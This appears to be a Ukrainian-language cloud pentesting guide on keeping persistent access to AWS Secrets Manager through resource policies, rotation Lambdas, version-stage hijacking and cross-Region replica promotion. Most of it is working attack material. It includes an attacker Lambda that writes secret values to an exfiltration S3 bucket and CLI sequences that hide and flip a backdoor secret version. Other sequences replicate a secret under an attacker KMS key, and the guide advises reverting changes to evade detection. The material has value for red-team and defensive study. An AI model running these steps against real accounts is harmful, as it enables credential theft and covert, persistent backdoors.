AWS - Secrets Manager Персистентність

Reading time: 9 minutes

Secrets Manager

Для отримання додаткової інформації див.:

AWS - Secrets Manager Enum

Через Resource Policies

Можна надавати доступ до секретів зовнішнім акаунтам через resource policies. Дивіться Secrets Manager Privesc page для більш детальної інформації. Зверніть увагу, що щоб отримати доступ до секрету, зовнішньому акаунту також потрібен доступ до KMS key, який шифрує секрет.

Через Secrets Rotate Lambda

Щоб автоматично rotate secrets, викликається налаштований Lambda. Якщо нападник зможе змінити code, він міг би безпосередньо exfiltrate the new secret собі.

Ось як може виглядати lambda code для такої дії:

import boto3

def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')

# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']

# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)

def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password

# Example: Generate a new password
new_secret_value = generate_password()

return new_secret_value

def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password

Замінити rotation Lambda на функцію, контрольовану атакуючим, через RotateSecret

Зловживайте secretsmanager:RotateSecret, щоб переприв’язати секрет до rotation Lambda, контрольованої атакуючим, і викликати негайну ротацію. Зловмисна функція експфільтрує версії секрету (AWSCURRENT/AWSPENDING) під час кроків ротації (createSecret/setSecret/testSecret/finishSecret) у сховище атакуючого (наприклад, S3 або зовнішній HTTP).

• Вимоги

• Права доступу: secretsmanager:RotateSecret, lambda:InvokeFunction на attacker Lambda, iam:CreateRole/PassRole/PutRolePolicy (або AttachRolePolicy) для надання ролі виконання Lambda прав secretsmanager:GetSecretValue і бажано secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage (щоб ротація продовжувала працювати), KMS kms:Decrypt для KMS-ключа секрету, та s3:PutObject (або вихідний трафік) для експфільтрації.

• Цільовий secret id (SecretId) з увімкненою ротацією або можливістю увімкнути ротацію.

• Наслідки

• Атакуючий отримує значення(я) секрету без модифікації легітимного коду ротації. Змінюється лише конфігурація ротації, щоб вказувати на Lambda атакуючого. Якщо це не помітять, заплановані майбутні ротації також і далі будуть викликати функцію атакуючого.

• Кроки атаки (CLI)

1. Підготуйте місце для експфільтрації атакуючого та роль для Lambda

• Створіть S3 bucket для експфільтрації та роль виконання, якій довіряє Lambda, з правами читати секрет і записувати в S3 (плюс логи/KMS за потреби).

2. Розгорніть attacker Lambda, яка на кожному кроці ротації отримує значення(я) секрету і записує їх в S3. Мінімальна логіка ротації може просто копіювати AWSCURRENT в AWSPENDING і просувати його у finishSecret, щоб сервіс працював коректно.
3. Переприв'яжіть ротацію і запустіть

• aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately

4. Перевірте експфільтрацію, перерахувавши префікс S3 для цього секрету та проінспектувавши JSON-артефакти.
5. (За бажанням) Відновіть оригінальну rotation Lambda, щоб зменшити ймовірність виявлення.

• Приклад attacker Lambda (Python), яка експфільтрує в S3
• Environment: EXFIL_BUCKET=<bucket>
• Handler: lambda_function.lambda_handler

import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']

def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')

def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)

Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)

Зловживання маркуванням версій Secrets Manager для встановлення версії секрету під контролем атакуючого і приховування її під кастомним stage (наприклад, ATTACKER), поки production продовжує використовувати оригінальний AWSCURRENT. У будь-який момент перемістіть AWSCURRENT на версію атакуючого, щоб отруїти залежні робочі навантаження, а потім відновіть її для мінімізації виявлення. Це забезпечує приховану бекдор-persistence та швидку маніпуляцію часом використання без зміни імені секрету або конфігурації rotation.

• Requirements

• Permissions: secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage, secretsmanager:DescribeSecret, secretsmanager:ListSecretVersionIds, secretsmanager:GetSecretValue (for verification)

• Target secret id in the Region.

• Impact

• Підтримувати приховану, під контролем атакуючого версію секрету та атомарно переключати AWSCURRENT на неї за потреби, впливаючи на будь-якого споживача, який резолвить те саме ім'я секрету. Швидке переключення і швидке відновлення знижують ймовірність виявлення, одночасно дозволяючи компрометацію в момент використання.

• Attack steps (CLI)

• Preparation

• export SECRET_ID=<target secret id or arn>

# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
--secret-id "$SECRET_ID" \
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
--output text)

# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
--secret-id "$SECRET_ID" \
--client-request-token "$BACKTOK" \
--secret-string {backdoor:hunter2!}

# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"

aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage ATTACKER \
--move-to-version-id "$BACKTOK"

# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated

# 4) On-demand flip to the attacker’s value and revert quickly
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$BACKTOK" \
--remove-from-version-id "$CUR"

# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text

# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"

• Примітки
• When you supply --client-request-token, Secrets Manager uses it as the VersionId. Adding a new version without explicitly setting --version-stages moves AWSCURRENT to the new version by default, and marks the previous one as AWSPREVIOUS.

Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.

• Вимоги

• Permissions: secretsmanager:ReplicateSecretToRegions, secretsmanager:StopReplicationToReplica, secretsmanager:PutResourcePolicy, secretsmanager:GetResourcePolicy, secretsmanager:DescribeSecret.

• In the replica Region: kms:CreateKey, kms:CreateAlias, kms:CreateGrant (or kms:PutKeyPolicy) to allow the attacker principal kms:Decrypt.

• An attacker principal (user/role) to receive read access to the promoted secret.

• Вплив

• Persistent cross-Region access path to the secret value through a standalone replica under an attacker-controlled KMS CMK and permissive resource policy. The primary secret in the original Region is untouched.

• Атака (CLI)

• Змінні

export R1=<primary-region>   # e.g., us-east-1
export R2=<replica-region>   # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>

1. Створити KMS key, контрольований зловмисником, у replica Region

cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey

2. Реплікувати secret у R2, використовуючи attacker KMS key

aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'

3. Перетворити репліку на автономний екземпляр у R2

# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"

4. Прикріпити пермісивну політику ресурсу до standalone secret у R2

cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"

5. Прочитайте секрет від attacker principal у R2

# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text